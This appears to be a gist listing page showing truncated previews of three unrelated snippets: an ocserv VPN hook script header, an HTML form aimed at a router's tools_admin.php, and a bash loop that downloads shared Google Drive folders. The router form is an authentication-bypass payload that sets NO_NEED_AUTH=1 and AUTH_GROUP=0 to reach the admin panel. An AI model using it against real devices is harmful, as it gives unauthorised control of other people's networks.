This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# Set fields in /etc/ocsercv/ocserv.conf.template as below | |
# | |
# connect-script = /path/to/vpn-hostnames.sh | |
# disconnect-script = /path/to/vpn-hostnames.sh | |
# Set field in /etc/config/dhcp as below | |
# | |
# config dnsmasq |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<form action = "http://192.168.1.0/tools_admin.php??NO_NEED_AUTH=1&AUTH_GROUP=0" method = "POST"> | |
<input type = "hidden" name = "ACTION_POST" value = "LOGIN" /> | |
<input type = "hidden" name = "LOGIN_USER" value = "a" /> | |
<input type = "hidden" name = "LOGIN_PASSWD" value = "b" /> | |
<input type = "hidden" name = "login" value = "+ Log + In +" /> | |
<input type = "hidden" name = "NO_NEED_AUTH" value = "1" /> | |
<input type = "hidden" name = "AUTH_GROUP" value = "0" /> | |
Login: | |
<input type = "text" name = "admin_name" value = "admin" /> | |
Password: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
DIR_NAMES=( "www.domain1.org" "www.domain1.org" ); | |
cd ${1:-./} | |
for DIR_NAME in "${DIR_NAMES[@]}"; do | |
echo ok | |
DIR_ID=`gdrive list -m 500 -q "sharedWithMe = true" | grep -i ${DIR_NAME} | awk '{ print $1 }'` | |
gdrive download --recursive --force ${DIR_ID} | |
done |
NewerOlder